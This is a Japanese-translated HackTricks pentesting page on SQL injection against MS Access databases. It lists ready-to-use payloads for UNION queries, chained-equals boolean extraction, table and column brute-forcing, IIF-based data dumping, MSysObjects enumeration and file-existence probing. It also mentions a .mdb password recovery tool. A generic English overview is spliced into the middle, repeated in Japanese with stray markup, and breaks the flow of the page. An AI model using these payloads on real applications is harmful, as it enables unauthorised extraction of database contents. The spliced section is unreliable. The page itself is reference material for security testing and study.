hacktricks/pentesting-web/sql-injection/ms-access-sql-injection.md

14 KiB
Raw Blame History

MS Access SQL Injection

AWSハッキングをゼロからヒーローまで学ぶ htARTEHackTricks AWS Red Team Expert

HackTricksをサポートする他の方法

オンラインプレイグラウンド

DBの制限事項

文字列の連結

文字列の連結は、& (%26)および+ (%2b)文字を使用して可能です。

1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00

コメント

MS Accessにはコメントがありませんが、NULL文字を使用してクエリの最後を削除することができるようです。

1' union select 1,2 from table%00

もしこれがうまくいかない場合は、クエリの構文を修正することもできます:

1' UNION SELECT 1,2 FROM table WHERE ''='

スタックされたクエリ

サポートされていません。

LIMIT

LIMIT演算子は実装されていません。ただし、TOP演算子を使用してSELECTクエリの結果を最初のN行に制限することが可能です。TOPは、返される行数を表す整数を引数として受け入れます。

1' UNION SELECT TOP 3 attr FROM table%00

TOPと同様に、LASTを使用して最後からの行を取得できます。

UNIONクエリ/サブクエリ

SQLiでは、通常、他のテーブルから情報を抽出するために新しいクエリをいかにして実行するかを考えることになります。MS Accessでは、サブクエリや追加のクエリではFROMが指定されている必要があります
したがって、UNION SELECTUNION ALL SELECT、または条件で括弧内にSELECTを実行したい場合は、常に有効なテーブル名を指定する必要があります
したがって、有効なテーブル名を知る必要があります。

-1' UNION SELECT username,password from users%00

チェーンの等号 + サブストリング

{% hint style="warning" %} これにより、現在のテーブルの値を取得することができますが、テーブル名を知る必要はありません。 {% endhint %}

MS Access'1'=2='3'='asd'=false などの 奇妙な構文 を許可します。通常、SQLインジェクションは WHERE 句の中にあるため、これを悪用することができます。

MS AccessデータベースでSQLiがあるとし、1つの カラム名がusername であることを知っている(または推測している)場合、それが exfiltrate したいフィールドであるとします。チェーンの等号テクニックが使用されたときのWebアプリの異なる応答をチェックし、Mid 関数を使用して サブストリング を取得する ブールインジェクション を使用してコンテンツを exfiltrate することができます。

'=(Mid(username,1,3)='adm')='

もしテーブルの名前ダンプする列がわかっている場合は、MidLASTTOPの組み合わせを使用して、ブール型SQLiを介してすべての情報を漏洩することができます。

'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='

オンラインプレイグラウンドで確認してみてください。

テーブル名の総当たり攻撃

チェーンイコールテクニックを使用して、次のようにテーブル名を総当たり攻撃することもできます:

'=(select+top+1+'lala'+from+<table_name>)='
## MS Access SQL Injection

### Introduction

In Microsoft Access databases, SQL injection can be performed using the same techniques as in other database systems. However, there are some differences in syntax and behavior that need to be considered when conducting SQL injection attacks against MS Access databases.

### Identifying MS Access

To determine if a website is using an MS Access database, you can look for file extensions like `.mdb` or `.accdb` in the URL or in error messages. Additionally, you can try injecting SQL commands to see if the database responds in a way that is consistent with MS Access.

### Basic SQL Injection

Basic SQL injection in MS Access involves manipulating SQL queries to extract, modify, or delete data from the database. This can be done by injecting SQL commands into input fields or parameters vulnerable to injection.

### Union-Based SQL Injection

Union-based SQL injection can be used in MS Access by injecting `UNION SELECT` statements into vulnerable input fields to retrieve data from other tables in the database.

### Error-Based SQL Injection

Error-based SQL injection in MS Access involves injecting SQL code that triggers database errors, revealing information about the database structure or data.

### Time-Based Blind SQL Injection

Time-based blind SQL injection can also be performed in MS Access by injecting SQL code that causes a delay in the database response, allowing an attacker to infer information based on the delay.

### Conclusion

SQL injection in MS Access databases follows similar principles to other databases, but understanding the specific syntax and behavior of MS Access is crucial for successful exploitation.
<!-- Translation into Japanese -->

## MS Access SQLインジェクション

### はじめに

Microsoft Accessデータベースでは、他のデータベースシステムと同様の手法を使用してSQLインジェクションを実行できます。ただし、MS Accessデータベースに対するSQLインジェクション攻撃を実行する際に考慮すべき構文や動作にはいくつかの違いがあります。

### MS Accessの特定

ウェブサイトがMS Accessデータベースを使用しているかどうかを判断するには、URLやエラーメッセージに`.mdb`や`.accdb`などのファイル拡張子が含まれているかどうかを確認できます。さらに、SQLコマンドをインジェクションして、データベースがMS Accessに特有の方法で応答するかどうかを確認することもできます。

### 基本的なSQLインジェクション

MS Accessでの基本的なSQLインジェクションは、SQLクエリを操作してデータベースからデータを抽出、変更、削除することを含みます。これは、インジェクションに対して脆弱な入力フィールドやパラメータにSQLコマンドをインジェクションすることで行うことができます。

### ユニオンベースのSQLインジェクション

ユニオンベースのSQLインジェクションは、MS Accessでも使用できます。脆弱な入力フィールドに`UNION SELECT`ステートメントをインジェクションして、データベース内の他のテーブルからデータを取得することができます。

### エラーベースのSQLインジェクション

MS AccessでのエラーベースのSQLインジェクションは、データベースエラーをトリガーするSQLコードをインジェクションして、データベース構造やデータに関する情報を明らかにします。

### 時間ベースのブラインドSQLインジェクション

時間ベースのブラインドSQLインジェクションも、MS Accessで実行することができます。データベースの応答に遅延を引き起こすSQLコードをインジェクションすることで、攻撃者はその遅延に基づいて情報を推測することができます。

### 結論

MS AccessデータベースでのSQLインジェクションは、他のデータベースと同様の原則に従いますが、MS Accessの特定の構文や動作を理解することが成功した攻撃にとって重要です。
```sql
-1' AND (SELECT TOP 1 <table_name>)%00

Feel free to check this in the online playground.

Brute-Forcing Columns names

You can brute-force current columns names with the chaining equals trick with:

'=column_name='

または、group by を使用して:

-1' GROUP BY column_name%00

または、次のようにして、異なるテーブルの列名を総当たり攻撃することもできます:

'=(SELECT TOP 1 column_name FROM valid_table_name)='

-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00

データのダンプ

すでに、chaining equals technique を使用して現在のテーブルおよび他のテーブルからデータをダンプする方法について説明しました。しかし、他にも方法があります:

IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')

要するに、クエリは「if-then」ステートメントを使用して、成功した場合は「200 OK」をトリガーし、それ以外の場合は「500 Internal Error」をトリガーします。 TOP 10演算子を利用することで、最初の10件の結果を選択することが可能です。 LASTの後に使用することで、10番目のタプルのみを考慮できます。その値を使用して、MID演算子を使用して単純な文字の比較を行うことができます。 MIDとTOPのインデックスを適切に変更することで、すべての行の「username」フィールドの内容をダンプすることができます。

時間ベース

https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDNを参照してください。

その他の興味深い関数

  • Mid('admin',1,1)位置1から長さ1の部分文字列を取得します初期位置は1
  • LEN('1234'):文字列の長さを取得します
  • ASC('A')文字のASCII値を取得します
  • CHR(65)ASCII値から文字列を取得します
  • IIF(1=1,'a','b')if then
  • COUNT(*):アイテムの数をカウントします

テーブルの列挙

こちらから、テーブル名を取得するクエリを確認できます。

select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name

しかし、MSysObjects テーブルを読む権限がない場合に SQL インジェクションを見つけるのは非常に一般的です。

ファイルシステムアクセス

Web ルートディレクトリのフルパス

Web ルートの絶対パスを知ることは、さらなる攻撃を容易にする可能性があります。アプリケーションのエラーが完全に隠されていない場合、ディレクトリパスは存在しないデータベースからデータを選択しようとして明らかにされることがあります。

http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00

MS Access は、Web ディレクトリのフルパス名を含むエラーメッセージを返します。

ファイル列挙

次の攻撃ベクトルは、リモートファイルシステム上のファイルの存在を推測するために使用できます。指定されたファイルが存在する場合、MS Access はデータベース形式が無効であることを通知するエラーメッセージをトリガーします。

http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00

ファイルを列挙する別の方法は、データベース.テーブル アイテムを指定することです。指定されたファイルが存在する場合、MS Access はデータベース形式のエラーメッセージを表示します。

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00

.mdb ファイル名の推測

次のクエリを使用して、データベースファイル名 (.mdb) を推測できます。

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00

ここで、name[i] は .mdb ファイル名であり、realTable はデータベース内の存在するテーブルです。MS Access は常にエラーメッセージをトリガーしますが、無効なファイル名と有効な .mdb ファイル名を区別することができます。

.mdb パスワードクラッカー

Access PassView は、Microsoft Access 95/97/2000/XP または Jet Database Engine 3.0/4.0 のメインデータベースパスワードを回復するために使用できる無料のユーティリティです。

参考文献